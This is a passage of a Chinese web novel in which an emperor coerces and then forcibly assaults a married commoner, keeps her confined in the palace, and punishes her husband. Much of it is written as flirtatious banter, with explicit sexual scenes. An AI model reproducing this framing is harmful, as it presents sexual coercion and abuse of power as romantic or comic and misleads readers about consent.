如此粗俗,姑姑的礼仪全都白教了……顾时不禁扶额。 究竟是谁给她上了一盘最廉价的瓜子啊。 他坐到她的旁边去,见那碗酒酿酥酪还尚未动过,便从容不迫地吃了起来,手腕勾出一个优雅的弧度,和白瓷勺子相得益彰。 “真亏你能吃得下这么难吃的东西。” 陶金荣小声嘀咕道。 顾时一愣,问: “怎么?你吃不惯酒酿?” “嗯,甜的东西我都吃不惯。” “那你喜欢吃什么?” “辣卤鸭货,卤猪头肉,熘肝尖。” 顾时皱了皱眉头,瞬间面露难色: “这也是女儿家吃的东西?太粗俗了些吧。” 陶金荣用袖子勉强掩着自己的脸,翻了个白眼,小声嘀咕了一句: “轮得到你管。” 可真是嚣张啊…… 顾时心想,姑姑的礼仪确实全都白教了,出宫没有几天,便全部打回原形。 “陶金荣,见了我不行礼,你也太嚣张了些。” 她深吸一口气,刚想张口就骂,可又想起秦思昭嘱咐过她不要忤逆顾时,性命要紧,也只好不情不愿地行了个礼。 “民女陶金荣参见陛下。” “过来坐。” 她便顺从地坐到了顾时对面的椅子上。 “秦编修好歹也考中了榜眼,做事进退有度,颇为斯文,在京中的女子不管是否出嫁,都是些名节无缺的窈窕淑女,可你作为他的妻子却不知礼节,谈吐粗俗,你丈夫不会嫌弃你么?” 陶金荣忍无可忍地翻了个白眼。 顾时一天到晚就知道挑拨离间,简直上不得台面,可她又不能用土话骂他,只得做作地卖弄起之前学来的一点皮毛来。 “陛下可否听过糟糠之妻不下堂?我与阿昭相识于微末,我没有嫌弃过他幼时贫苦无依,他自然就没有嫌弃我粗俗的道理。” “不过是因为你现在年轻貌美罢了,等到你年老色衰,还是如此粗俗,他肯定会厌弃你的。” “我迟早会年老色衰,即使他再怎么厌弃我,我也是他的结发妻子,顶多就纳个妾,也不可能三宫六院七十二妃,更没法对我喊打喊杀,也不会动不动就要诛我九族,亦或是丢进冷宫。” 听顾时说话让陶金荣觉得颇为不耐烦。 明明是顾时对她见色起意,却觉得秦思昭会因为她年老色衰就厌弃她,这不是纯瞎扯淡吗? 人都是会老的,可不管怎么看,青梅竹马的秦思昭都比莫名其妙的顾时来得踏实吧,携手走过少年的情谊岂是他人能比得上的? 她有些反感地把顾时打量了一遍,打扮得既俊俏又不过分花哨,肯定是经常流连于花丛之人,指不定背后睡了多少,都把主意打到别人家媳妇身上了,一看就是朝三暮四之人。 真不知道他是怎好意思说秦思昭会因为她年老色衰就厌弃她的,呸,不要脸。 顾时被她说得哑口无言,脸先红了红,随后又白了白。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 陶金荣嫌恶地眯起了眼睛,顾时穿着一件浅色的衣裳,几种颜色搭配得很是得当,她知道很少有男性能分辨出细微的颜色区别,更别提把几种颜色搭配出美感来了。 一个大老爷们整天就研究这些,一看就不正经。 正经的男人就应该像秦思昭那样,裁两身一模一样的简朴衣裳换着穿。 自己打扮得皮光水滑,还好意思说别人,呸呸呸,不要脸。 顾时低着头,沉默了半刻,又开口说道: “陶金荣,我干脆直说了,你的存在已经影响到了我的生活,害得我夜不能寐……” 他松了松领口,露出了脖子上烫伤的疤痕。 “这都是你害了我。” “陛下,这种烫伤过几天就好了,您再忍一忍吧。” “不,不只是烫伤的缘故。” “我是秦思昭的妻子,就算再祸害,也就只能祸害到他一个人头上,如何能祸害到您?” “我已经顾不得那么多了,总而言之,你先陪我一夜。” 顾时已经图穷匕见,口不择言,直接把心底最深处的欲求宣之于口。 说完后,他觉得自己的舌头打了结,几乎有千斤之重,难以再说出什么来了。 “那您这让我回家后如何和我丈夫交代?” “我派人替你告诉他。” 陶金荣有些不耐烦,但并不觉得意外,毕竟顾时一看就贼心不死,她又不傻,怎么可能看不出他的意思来。 “陛下九五之尊,为何偏偏要这样糟践自己?” “我想干什么就干什么,谈何是糟践自己?” “光明正大地在一起才能算是正室,若是和已婚之人,躲在背后悄悄摸摸地做苟且之事,那只能算是外室了吧?” 顾时一时怔住了,没反应过来,陶金荣的意思是说他把她当成了外室么? 随后他才想明白,陶金荣口中的外室,指的竟然是他?! 简直离谱。 顾时瞬间面露愠色,一拍桌子,厉声道: “放肆!” 陶金荣浑然不惧,把头扭到一旁,没一丁点反应。 “……” 沉默了半晌,她才开口: “民女竟然不知自己放肆在哪?就算民女放肆,那也是陛下先放肆的。” 顾时被说得恼羞成怒,厉声道: “我为黎民百姓每日上朝,不敢有丝毫懈怠,不过是偶然想放松一回又能怎样?若是因陶金荣你而影响了我日理万机,造成的损失你赔偿的起吗?” 说完后,顾时自己都觉得自己在无理取闹,紧咬着牙涨红了脸,可一言既出驷马难追,他也断没有再把话收回去的道理。 陶金荣捂着嘴,噗嗤一声笑了出来。 “陛下真是好会给自己找借口啊。” 顾时沉默了半晌,阴沉着脸,开口命令道: “自己给我滚到床上去。” 陶金荣四处看了看,似乎顾时为了不落人口实,早就把宫人支走了,只留了一个信任的宫女在附近把风。 她就算大喊大叫也没有用。 她回头打量了顾时一下。 他大喊大叫也一样没用,不是么? 与其她自己呼救,倒不如让顾时呼救。 她想了想,便自己坐到了床榻里,把帷帐拉上,双手把披帛抻开,死死攥着,一声不吭。 顾时毫无防备地撩开帷帐,陶金荣眼疾手快,直接把披帛套在了他的脖子上,往下猛地一拉。 她没想到他这么高的个子竟然一拉就倒,倒就算了,偏生还倒在了她的身上,。 他竟然借着这个势头开始吻她。 被压在身下,陶金荣躲无可躲,他用力捏着她的下巴,强迫她把牙关打开,她也没办法咬,他的舌在她的牙齿之间肆意地进进出出,来回搅动。 她不耐烦地拱一拱腰,反倒和他贴得更近了些,一下便感觉到了他身体的每一个变化。 她明明想的是死死勒住他的脖子,怎么反倒起了这种效果? 他是不是还觉得她挺热情啊? 陶金荣简直羞愤难当。 都已经亲密到了这个地步,他不继续做点什么似乎也不可能了…… 她眼睛向下一撇,他腰间一枚泛着淡淡紫色的玉佩倒是很好看,颇为不俗,一个念头忽然出现在了她的脑子里,若是秦思昭戴着这枚玉佩一定很好看。 他明明长得很好看,可平常的打扮却十分简朴,有时候甚至有点老气横秋,也总是吃一些朴实无华的饭菜,从来不讲究些什么,可却总是把最好的全都留给她。 她想起来便觉得有些心疼自己家夫君,伸出手去,三下五除二地把顾时腰间的玉佩摘下来塞进袖子的暗袋里了。 顾时直接伸手去扯她胸前的带子,一抹桃色的肚兜露了出来。 横竖这个强抢民女的恶人都已经当了,还不如干脆就把坏事坐实算了。 忽然,她锁骨下的一抹红刺入了他的眼睛。 “陶金荣,这是什么?” 他的手指划过她锁骨下方的胸骨。 “嗯?你说的是什么东西?” 顾时从床头柜上拿了一面手持铜镜,递给了陶金荣。 她从床上坐了起来,拿着镜子照了照,瞬间吓了一跳,又羞耻又愤怒,差点把镜子丢到顾时的脸上。 自己竟然被吻得两眼水光莹莹,两颊潮红,嘴唇更是湿软微张…… “你锁骨下面究竟是什么东西?” 顾时拧着眉毛质问道。 陶金荣这才把镜子移到了锁骨前,没忍住失声笑了出来,捂着嘴说道: “我和我丈夫昨晚行房时弄出来的,稍微有点激烈。” 她理了理自己的领口,把那红痕遮住了。 “不是……究竟怎么才会弄出那种红印子来啊?” 顾时的脸色冷了下来。 陶金荣把袖子撸了起来,自己在自己的胳膊上吸了个印子,在他的眼前晃了晃。 “就这样弄出来的。” 顾时的声音里带着委屈: “你身上还带着别的男人留下的痕迹,就来同我一起……” 陶金荣直接打断了他的话: “不是你的宫女命令我来的吗?我怎么会知道你找我来是要做什么?再说我们年轻夫妻,同房天经地义,我乐意快活得很,旁人有什么资格管?” 说完后,陶金荣觉得有点莫名其妙。 顾时应该也二十二了吧,敢沾染有夫之妇,怎么说也得是个流连花丛的老手,为什么会不知道吻痕是什么? 顾时把脸撇到了一边,似乎在跟她闹别扭似的,不愿意看她。 陶金荣不禁腹诽,一个连外室都算不上的东西,凭什么闹别扭啊,真是心里没数。 可即使心中埋怨,她还是放软了语气说道: “陛下,民女毕竟是有夫之妇,这样十分不合适,不如陛下还是放民女回家吧。” “滚吧,敢走就再也别回来了。” 陶金荣挑了挑眉,嗯?还有这等好事? 顾时的语气实在是给陶金荣弄笑了,明明是自己干了强抢民女的龌龊事,怎么反倒弄得跟个小女儿家在闹别扭似的。 “民女谢恩。” 她敷衍地跪在地上谢了恩,甚至都来不及拢一拢乱掉的头发,就忙不迭地跑路了。 过了片刻,顾时依旧无法展开紧锁的眉头,怒火攻心,直接把一个茶盏摔在了地上。 金盏听到咔嚓一声,便叩了叩门,问道: “陛下,可需要奴婢叫人进来收拾么?” “陶金荣呢!” “她说您命令她滚……啊不,回家,我便派人把她送回家去了。” “滚!” 想起她对他不理不睬的那副样子,他就急火攻心,把桌子上的东西乱砸一通,金盏听到里面的声音,就觉得心烦意乱,索性躲了。 砸完后,他看向自己的腰间,忽然发现少了些什么,才猛然想起来陶金荣刚刚在榻上把他的玉佩摘下来了。 她是把他的玉佩丢在了床上么? 他去床上翻找了一番,却依旧没看见那玉佩的踪影。 是她把他的玉佩拿走了,留着做个念想么? 她心里有他? 想到这里,顾时就渐渐地平静了下来,看着她落在了榻上的披帛出神。 陶金荣顺利地回到了家中,太阳刚刚落山,现在天色还不算太晚。 “阿昭,我饿了,家中还有晚饭吗?” 秦思昭猛地从床上坐了起来,脸上还挂着泪痕,陶金荣马上伸出帕子来,把他的脸擦干净。 “瞧瞧你,多大了怎么还哭鼻子呢?” 她虽然嘴上这样说,可心中却知道他是心疼她,心中又酸又甜。 “阿昭,我给你带礼物了,” 她从袖子里掏出那个玉佩。 “戴上吧,你长得这么好看,戴上肯定好看。” 即使秦思昭对这些配饰缺乏了解,也能一眼看出这玉佩从雕工到选材都十分不俗,不仅怔住了。 “荣儿,这玉佩你是从哪得来的?” “从顾时那偷……啊不……拿的。” 秦思昭瞬间脸色变得惨白,说道: “荣儿,你怎么能这样犯傻?我得赶紧还回去才行……” 他嘴上说着责怪她的话,却张开双臂,紧紧地抱住了她。 她同样热情地回抱住了秦思昭,说道: “阿昭,你放心,偷来的锣儿敲不得,顾时本来就不占理,我偷他一枚玉佩又怎么了?这都还算轻的了呢。” “别傻,怎么又意气用事?” 陶金荣亲了亲他的侧脸,说道: “我就是觉得,这枚玉佩你戴上肯*定好看……比他好看一百倍。” 她把玉佩别在他的腰间,兴奋地说道: “真的挺好看的!你去照照镜子!” 第112章 秦思昭皱着眉头把玉佩摘下来,揣进袖子里,伸出一根手指,点了点她的额头。 “荣儿,别瞎胡闹!哪有这个样子的?” “……” 陶金荣一言不发,噘着嘴,闷闷不乐的样子,她觉得秦思昭把事情想得太严重了,顾时连偷人的事都干,他都不计较她有丈夫,会跟她计较一枚玉佩么? “这样很危险的……后果是什么都不好说,下次可别再做这么欠考虑的事情了。” “你悄悄地戴,别让他看见不就好了吗?” 见她一副完全不往心里去的样子,秦思昭瞬间觉得气不打一处来,又不舍得真的怪罪她什么,只好叹了口气。 “你别再这样了,这枚玉佩我会还回去的,你好生歇着吧,老实点,别动不动就惹祸。” 她竟然敢私自偷顾时的东西,可真是惹了大祸了,若是被他发现,指不定要怎么发火,真希望他赶紧去赔罪应该还来得及。 次日,下朝后,他双手将玉佩呈上,主动跪在顾时面前请罪。 金盏见了他来,瞬间瞪大了双眼,心想这可是一出好戏,清了清嗓子,很有眼色地把其他人都支走了,自己把一只耳朵贴在墙上。 “陛下,臣知罪……都是臣没管教好她,请您不要怪罪我妻子一时顽皮,伸手拿走了您的玉佩。” 顾时的表情有些错愕,为什么秦思昭会知道陶金荣拿走了他的玉佩?他和陶金荣还在偷情,她为何要把情夫的信物拿去给自己的丈夫看呢? 秦思昭跪在地上,只穿着一身最简朴的衣裳,一种怪异的直觉涌上心头,顾时的声音抖了抖,说道: “她拿走这枚玉佩,是要送给你么?” “是她淘气不懂事……她已经跟臣承诺过,再也不会了。” 顾时的脸色瞬间变得惨白,嘴角不由自主地向下撇了撇,低下头去,死死盯着秦思昭。 他是在向他炫耀。 也对,陶金荣的丈夫是秦思昭,爱的人也是秦思昭,自己拼尽全力才博得她的一丝关注,他毫不费力就能得到。 这几年里他们两个每日每夜都生活在一起,其中的恩爱甜蜜,哪是他有福气享受的? 想起来真是不值,陶金荣不仅骗了他的身体,还拿了他的钱去和别的男人潇洒。 反正在这个世界上也没人想了解他是谁,没人愿意听一听他的想法,大家服从的不过是个虚假的空壳子,离了这个壳子,他什么都不是,更没人能看到他内心最深处的渴求。 所以,他不能放过陶金荣。 “秦编修,恐怕你心底最知道该怎么赔罪吧?” 顾时露出了一个残忍的眼神,如果秦思昭能去勾栏里落一身花柳病再死掉就最好了。 “臣……不知……” “给她一纸休书。” “……” 秦思昭沉默了。 若是她没了有夫之妇这层身份,岂不是彻底变成了案上鱼肉。 “她……她不愿……” 顾时竟然从他紧皱的眉间看出了几分洋洋得意,不由得捏紧了茶盏,青筋从手背上鼓了起来。 他不愿让他看出自己在货真价实地嫉妒,强行把怒火压了下去。 秦思昭确实是来炫耀的。 “金盏,把陶金荣带来。” 他倒要好好问一问,她到底喜欢秦思昭什么? 秦思昭在地上跪了一个时辰,顾时只淡漠地喝了盏茶。 “参加陛下。” 陶金荣装模作样地行了个礼,马上便发现这里气氛不对。 秦思昭膝盖酸软,面色发紫,嘴唇惨白,眼白里爬满了红血丝,双眼流露出一阵一阵的惊恐之色。 见到自家夫君被外人欺负,陶金荣瞬间气不打一处来,三步并作两步挡在了他前面,仰起头质问道: “怎么?那枚玉佩特别值钱么?陛下竟这般生气?” 秦思昭惊慌地扯了扯她的衣袖,小声道: “荣儿,不要意气用事。” 这小动作一点不差地落在了他的眼里,顾时心里忽然觉得很委屈,明明是秦思昭先来挑衅他的,她却反倒心疼起秦思昭了。 “怎么,陶金荣,你还要治我的罪么?” 陶金荣咬着下唇,只搂着秦思昭的脖子,把脸贴到了他的脸上,秦思昭赶紧躲了躲。 “偷东西的人是我,您要罚就罚我跪,罚我夫君干什么?” 她低下头对着秦思昭说: “阿昭,别管他,你先起来。” “不行……” 秦思昭的手握着她的手腕,瞬间面露难色。 见二人亲密的样子,顾时发出一声冷笑: “你以为你夫君真的是翩翩君子?你是没见到刚才他挑衅我时洋洋得意的样子。既然你愿意,那就由你来替秦思昭受罚吧。” 胡说八道!秦思昭怎么可能挑衅他?无非是他嫉妒心发作就乱编排人家。 他的话陶金荣连一个字都不信,只搀扶着满脸错愕的秦思昭站了起来。 跪上了一个时辰,他已经有些站立不稳了,他扭过头,充满担忧地看着她。 陶金荣在他耳畔快速说道: “你傻不傻,还真的过来找他?” 金盏非常适时地走了进来,伸手去搀扶陶金荣,说道: “还请您去偏殿等陛下发落吧。” 也许是有些于心不忍,金盏补了一句: “秦大人,您赶紧回去吧,别再碍陛下的眼了。” 不过一炷香的功夫,顾时就推开了门。 他站在她面前,忽然一下变得手足无措了起来。 结巴了半天,便说出一句话: “陶金荣,你究竟喜欢他什么?为什么不愿意和他和离?” 他想不通,为什么陶金荣在和他有了情事之后还能喜欢上其他人,更何况秦思昭比她还小一岁,当年还是个孩子的样子。 “我们青梅竹马,从小就生活在一起,当然喜欢了。” “你跟我相爱过,又去和别的男人在一起……你不觉得别扭吗?” “不觉得。” 陶金荣皱了皱眉,顾时给她出这种题无非是等着她来哄他,可她只要稍微松一松口,他肯定又一下子就不知道自己该姓什么了。 “秦思昭真是胆大包天,竟敢三番两次炫耀,挑衅于我……” 她冷冷地瞥了他一眼: “怎么,陛下罚别人跪了一个时辰,自己反倒委屈上了?” 顾时被她一句话噎了回去,委屈地低下了头。 她眼睛一瞥,却发现床榻上摆着一副寒光闪闪的镣铐,嘴角不禁微微勾起。 第113章 “顾时,你在床上放的东西是什么?” 她毫不避讳地直接看着他的眼睛。 “你怎么能直接叫我的名字?” 其实听她直接叫他的名字顾时心里并不觉得生气,但他的理智告诉他,这个时候他应该对她发起警告。 如果他太过于放纵她,她就会太过于蹬鼻子上脸,人性就是这样的。 “你都直接叫我陶金荣,我不能直接叫你顾时吗?” “……” 顾时沉默了半晌,说道: “罢了,我不和你一般计较,不要在有别人在场的时候这样叫我就行。” 她直接把整个上半身凑近了些,问道: “顾时,你在床上放了什么东西?” “……” 他一下子觉得说不出口,别别扭扭地说道: “不知道,都是底下人安排的。” “瞎扯,我就不信你不允许别人还能自由发挥?快点告诉我。” 她露出一个狡黠的笑容,用手帕轻轻掩着下半张脸。 陶金荣早就发现了顾时其实很好欺负,她现在就想要试探他到底能忍到什么份上,就像是在挑逗一只温顺的大老虎一般令她愉悦。 顾时清了清嗓子来掩饰尴尬,说道: “你自己去看一看不就知道了吗?” 陶金荣兴致勃勃地走了过去。 顾时一个走神,忽然发现自己手腕一凉,酸痛的束缚感从手腕上传来,他却忘记了此时应该挣扎,只任由陶金荣用一副镣铐把他锁在了椅子上。 意识到自己根本不想反抗,羞耻心一阵一阵地折磨着他,他用屈辱的眼神看着她说道: “陶金荣!你干什么!” “你叫我来不就是干这个的吗?不然在床上放个手铐做什么?” 她走到他的身前,居高临下地看着他,眼里有一种近乎孩子气的兴奋。 他位高权重,平日里肯定是一直对别人颐指气使的……不是罚这个,就是罚那个,谁到了他手里都没个好,甚至还敢赌气罚秦思昭下跪,真是坏极了。 她兴奋地搓了搓手,今天可终于有克星来治他了。 看着他被锁在椅子上,涨红了脸,不停挣扎,眼里含着泪光气急败坏的样子,她不禁笑了起来,心里骂了句活该。 真是风水轮流转呀,之前那么威风,现在轮到她来侮辱他了。 “快放开我!” 她不急不慢地伸手摸了摸他的下巴,低头扫了一眼,笑道: “若是陛下不喜欢,为什么会变成这个样子啊?” 他的脸更加涨红了几分,死死咬着下唇。 真该死,他的手动不了,完全没法挡住身下的反应,就连欲盖弥彰一下都做不到,他根本不知道自己为什么会因为这种事情而变得这么……兴奋…… 明明统治别人是值得高兴的,被人支配是值得羞耻的,可他偏偏就是会因为这种羞耻之事而感到难以抑制的期待。 他看着陶金荣,压抑着内心的渴求冷冷道: “看来你懂得挺多,怎么?你和你丈夫也经常这个样子么?” 顾时一下把陶金荣问得恼羞成怒,她恨不得抬手就是一个耳光,可想起秦思昭的嘱托,又生生把手按了下去,骂道: “跟你有什么关系?” “怎么?你丈夫太古板,床上没趣,不懂得风流是吧?他看起来那么瘦弱,能取悦你吗?” “闭嘴闭嘴闭嘴!” “被我说中了,气急败坏了。有本事你就动手打我啊?” “我给你放开!我给你放开好了吧!” 她在他背后捣鼓了半天那副手铐,骂了句脏话。 “这玩意怎么打开呀?” 她假装给他解开镣铐,又用指甲掐了他好几下,顾时也一声不吭,只悄悄收紧了小腹和大腿的肌肉。 任由她在他手上掐了半晌,他才说道: “应该有钥匙,你找找?” 陶金荣翻了半天,才找到一个类似钥匙的东西,咔嚓一声给他解开了。 “幸亏我找到了……要是我找不到,只能叫下人来帮忙,真可惜,差一点点就让你的下人看到你这么丢人的样子了。” “陶金荣,你还想不想要命了?” 顾时甩了甩酸痛的手腕,用泛红的眼角有些嗔怪地看着她。 陶金荣马上会意: “哦,你的意思是私底下可以这么做,别说出去就行是吧?” “……” 顾时拉住她的手腕,把她往怀里扯了扯。 “陶金荣,你抱我一下。” “为什么?” 她转了转眼睛,今日里秦思昭确实是把顾时给得罪了,她确实也不好继续惹怒他,他想抱她一下也并不是什么很过分的要求。 那要不就抱他一下算了。 她勉为其难地搂了顾时一下。 说是让她抱一下,就只是抱一下,顾时并没有什么进一步的举动。 “陶金荣,你喜欢我吗?” “你别这样,我有丈夫的。” 她默默地跟他拉开了距离。 “你就不能没有丈夫吗?” “不能,我承诺过爱他一辈子,从来没想过要和他分开。” “你不打算对我负责是吧?” 这话说得真心好奇怪,陶金荣忽然觉得有些毛骨悚然,顾时又凑过来,她把他往外推了推,她不禁打了个寒战,觉得自己被什么很奇怪的东西给缠上了。 “我听别人说过,其实秦思昭是青楼的常客。” 顾时内心阴暗地想着,回头就让几个大臣把秦思昭哄到青楼里去,到时候陶金荣肯定会气急败坏把他甩了。 “我不信,而且就算是真的我也不在乎。” 陶金荣一眼就看穿了顾时在瞎编,故意这样说。 如果她流露出一丝厌恶和气愤,顾时肯定会用些下流的手段在她和秦思昭之间制造误会,还不如干脆说自己不在乎算了。 “怎么?你不怕得花柳病?” “那你最好离我远点,别被我传上了。” “我一向洁身自好,不比那青楼常客强得多么?” “洁身自好还能惦记到别人妻子的头上?” 顾时又被陶金荣怼得哑口无言,只得自己生闷气。 她被顾时肉麻得起了一身鸡皮疙瘩,恨不得赶紧找个地缝钻进去。 诡异!这对话实在是太诡异了! 不是……顾时说他洁身自好到底是真的假的? 他都二十二了,这么多年他竟然没和女的睡过? 怎么可能? 他是不是脑子有病啊…… 第114章 随着她和顾时的对话越来越怪异,陶金荣莫名其妙地觉得浑身不得劲,伸直了腿往后撤了一大步,说道: “顾时,我是有丈夫的人,你别太当真了。” 她一咬牙,狠心说道: “我这月的月事没来,很可能已经怀了秦思昭的孩子,你还是不要在我身上浪费时间比较好。” 顾时瞬间瞪圆了双眼,用不可置信的眼神看着她。 陶金荣一笑,他信了,他没发现自己在哄骗他。 不过年轻夫妻有孩子也很正常,她觉得自己这样不能算是在骗。 “……” 见顾时一言不发,陶金荣便继续出言试探道: “这么晚了,我该回家了。” “你惊讶什么?我们年轻夫妻,弄出个孩子来不也很正常吗?” 她嘲弄地拍了拍他的肩膀。 纤细白皙的手刚碰到他的肩上,就被一把抓住了手腕,他将她整个人拽进怀中,一下压进了厚厚的一层地毯。 她动弹不得,手指猛地用力,嵌入了地毯之中,只听见刺耳的裂帛之声。 他开始噬咬她锁骨下那一片薄薄的皮肉,留下一连串落花似的红痕,她吃痛不已,顶起自己的脊背想反抗,反像是在应和似的。 所有咒骂声也都被一个吻堵在了喉咙里, …… 陶金荣的齿间有丝丝的血痕,那腥气丝丝地往她的喉咙最深处钻,弄得她犯恶心。 他掐着她的后脖子,像是押送犯人一般把她按在镜子前面,狠狠咬了一口她的耳垂说道: “你就这样回去,让你丈夫看见你这副样子么?” 她扭过头来,用一双小狼似的眼睛,毫不胆怯地望着他。 顾时被这双寒光凛凛的眼睛晃了一下,手一抖,不由自主地撇过头去,不敢再看她的眼睛。 “呸!” 混合着他血液的口水不偏不倚地吐在了他的脸上。 陶金荣露出一个凉薄的笑,说道: “顾时,横竖你也已经得到你想得到的东西了,咱们一笔勾销,从此谁也不认识谁,给我弄身正经的衣裳,我要回家。” 他拉着她的脚踝,把她从地毯一路拖到了床上,又把她身上的中衣全部扯下来,团了团丢到地上。 “你回去打算怎么跟他解释?” “你一天到晚往我跟前凑还能是什么事?你以为他能不知道吗?” 摊上这种事,她没死,没残,还能活蹦乱跳地回家已经是很不错了,陶金荣觉得自己应该保持乐观。 无非就是那点子事,当个屁放了算了。 今日秦思昭知道自己得罪了顾时,自己代替他受罚,他自己在家肯定急坏了吧…… 就算自己现在的这个样子狼狈不堪,那又如何? 她不想让他为她担心太久,这样下去恐怕要急坏了身子,她知道自己今晚回家一定会感到难堪,但这点难堪根本没法和秦思昭相比。 “赔我衣裳,我要回家。” “你觉得他会信你肚子里的孩子是自己的吗?” “哦,对了,有避子汤之类的东西吗?我应该还没怀孕,现在要是怀上,真的分不清是谁的了……到时候多难堪啊。” “……” 顾时沉默了半晌,一句话也不说。 “你要是不知道,我就问问金盏,把她叫进来。” 陶金荣冷漠地把脸撇到一边去,把被子拉到了身上。 “滚出去,我现在不想看见你。” 他站在镜子前面理了理衣襟,回头看了她一眼,想说些什么,又全部都噎在了喉咙里,索性走了出去。 金盏就站在不远处,一见他来了,连忙行礼。 “参见陛下。” “起来。” 顾时扭头怔怔地看着那扇门,说: “拿一身衣裳来,安排她在宫中住下,再弄……避子汤来。” 金盏勉强控制住自己的表情,不让自己当场崩溃。 顾时到底让她去哪里弄她这辈子都用不上的东西啊!!! 她换上了一个虚伪的笑容,说道: “陛下,这个嘛……奴婢恐怕得请女医来,恐怕一时半会儿办不成。” 他露出了一个不耐烦的表情,说道: “这是命令,没有讨价还价的余地。” 顾时一走,金盏马上破口大骂,骂完又不得不怨气满满地去干活。 弄衣裳这事儿最好办,直接去弄身宫女的衣裳来,先穿上再说。 敲了敲门,金盏便走进了房中,只看见陶金荣钻在被子里,两眼发直,一副半死不活的样子。 见她来了,陶金荣翻了个身,盯着她开口道: “我可以和你一起骂他。” 金盏的脸瞬间白了白,又红了一红,尴尬地说道: “姑娘说笑了……哈哈……哈哈哈。这是衣裳,先穿上吧,可千万别想不开……我再多安排几个人来,您先在这里住下吧。” “我要回家,今晚就回。” “这事儿我说了不算。” 几个宫女进来伺候她洗漱更衣,陶金荣的头发刚擦干,金盏便带着一位女医进来了。 女医并不说什么多余的话,只给她号了号脉。 “您的身体十分健康,并未怀孕。” “嗯,我自己知道。” 陶金荣不咸不淡地回答。 “这是您需要的药,请喝了吧。” 捏着鼻子喝了一碗黑漆漆的避子汤,她也暂且安心了下来。 “金盏,去叫顾时来,我要见他。” “这……” 金盏夹在中间,一下子左右为难。 “我只能帮您去叫一叫,人家未必能来。” 陶金荣没想到,顾时这么快就来了。 他不敢看穿着中衣躺在床上的陶金荣,撇过脸去,别别扭扭地说道: “之前不是还叫我滚吗?怎么这么快又把我叫回来了?” “我要回家,没你的允许她不让我走。” 顾时的睫毛颤了颤,看着她纤细的手腕。 “如果我不放呢?” “那我也只能在你家里上吊了,你记住,是你逼死了我,我这算是死节。” 听到她冷冰冰的声音,他的眼眶瞬间红了。 顾时再也控制不住自己的情绪,跌跌撞撞地扑到了她的身上,紧紧抱住了她,泪瞬间落进了她锁骨处的小窝里。 他吻了吻她耳侧的皮肤,把自己闷在她身上淡淡的皂角香气里,他的声音变得有些嘶哑…… 第115章 顾时的声音让陶金荣耳畔处的皮肤嗡嗡作响,她觉得浑身上下都不自在,努力挣脱,可他偏偏把她抱得死紧,她一时之间竟动弹不得。 他用急促的声音说道: “你就不能改嫁给我吗?我究竟有哪里不好,比不过他?” “顾时,你太冲动了。人不能为了一时的欲|望做到这个份上。” 陶金荣被他勒得太紧,有些喘不过气来,不得不沉默了半晌,在仔细思考后,认真地告诉了他。 他的心跳声从她的胸口处传来,呼吸和体温都交织在一起。 她能感到自己和顾时之间存在着一种吸引,但这种吸引力是完全出于内心最深的阴暗欲|望。 也许心底的黑暗面确实在叫嚣着渴求,但人不能被自己的黑暗面所操纵。 就算她真的和顾时在一起,结果无非就是一起堕落下去,活得人不人鬼不鬼,没什么可特别的。 “我不是冲动!” “你不是冲动你还能是什么?我们才见了几次?你根本就不了解我。” 顾时松开了手,红着眼睛看着她,单手掐着她的下巴,陶金荣竟然拿这种蹩脚的理由来搪塞他。 她也没和他见几面,却比任何人都要了解他。 有些人只要对视一眼便能托付终生,有些人即使共枕百年也是同床异梦,他们之间根本不需要多余的时间来互相了解。 “陶金荣,别拿这种理由来敷衍我,你到底为什么不愿意和我在一起?” “我有丈夫,他很好,没什么错,我有什么理由为了你而离开他?” “说实话。” 陶金荣真的不想在顾时面前多待,一时之间口不择言,索性选择了猛攻下三路。 “你时间太快,实在是让我……呃……什么感觉都没有甚至还觉得有点想笑。” 说完后,她忽然觉得自己心很累,抬起疲惫的眼皮,无奈地看着他,如果是这个理由他总要百口难辩了吧。 “你要问我理由我能说上来一百多个,反正我肯定不会跟你过的。我累了,想回家。” 顾时像是认输了似的低下头去,低声说道: “你可以想念他,但是我偏不放你走,你还能怎么办?” 陶金荣的话一下梗在了喉咙里,他怎么能用这么顺从的态度说出这么不讲理的话。 他也确实说到做到了。 顾时并没有强迫她禁足,她可以走出这扇门,但也仅此而已,金盏一直如影相随,时时刻刻地监视着她。 一连三日皆是如此,她内心颇为不快,但也无能为力。 “金盏,至少派人给我家里带个信吧……就告诉他我还活着,没死没残,就是一时半会儿回不去。” 只要还活着,就迟早会有重新相遇的那一天,秦思昭在家肯定已经担心坏了。 “姑娘……我说了不算……” 金盏摆摆手,又开始打太极,陶金荣看了就觉得闹心,只好不言不语地坐在秋千上发呆,杂七杂八的心绪像杂草一般在心头疯长。 这样的日子,哪怕过一天她都嫌多。 到了晚上,她已经和衣准备入睡,一抬头,余光却看见顾时鬼鬼祟祟地摸到了她的床前。 她皱起眉,瞬间觉得心里好烦。 白天一个人心里煎熬就算了,晚上还得应付他。 他脸颊涨得通红,咬着下唇,眼神躲闪,一副心虚的样子。 “顾时,你怎么了?当小偷来的么。” “没……没事……我们开始吧……” 他伸手去摸她的腰带,小腹却挨了结结实实的一脚。 “别跟老娘起腻,我来月事了,烦得很。” “什么意思?” “来月事了不能同房。” 看顾时一脸迷茫的样子,陶金荣心想估计也没人跟他说这个,他可能真的不知道,无可奈何地叹了口气,解释道: “女人每个月都要流几天的血,这期间需要休息,不能同房,如果同房就会生病。” “哪里流血?” 陶金荣翻了个白眼,直接用手指了指。 “那怎么办?我……我药都已经吃了。” “什么药?” 顾时支支吾吾了半天也不肯说清那到底是是什么,最后红着脸撇过头去。 陶金荣忽然忍不住笑出了声来,捂着肚子说道: “哎呦,是我想的那种么?” 她没想到上次她说顾时时间快,他还真的往心里去了,竟然主动吃药来伺候她。 “啊……嗯……” 顾时不情不愿地承认了。 他被她肆意嘲笑了一番,有些恼羞成怒,不管不顾地压在了她的身上。 “不管,我药都已经吃了,你必须得负责。” 药物的刺激确实让他的身体产生了一种微妙的变化,陶金荣尴尬地把手缩了回去。 “你自己用手解决算了。” “你懂的倒挺多。” “嗯,当然,我都已经结婚了,还能有什么可不懂的。” 他点上了一根蜡烛,侧身躺在她身边,解开腰带,敞开中衣,不经意地露出胸口和腹部的肌肉线条。 顾时伸手把被子盖在了自己的腿上,又把手伸进了进去,眼睛死死地盯着她看。 她把披帛栓在他的脖子上,手捏着那点燃的蜡烛,转过身,有几分挑衅地和他对视着。 手一斜,熔化的滚烫蜡烛就落入他腹部的肌肉线条之中,快速凝结出一道艳丽的红线。 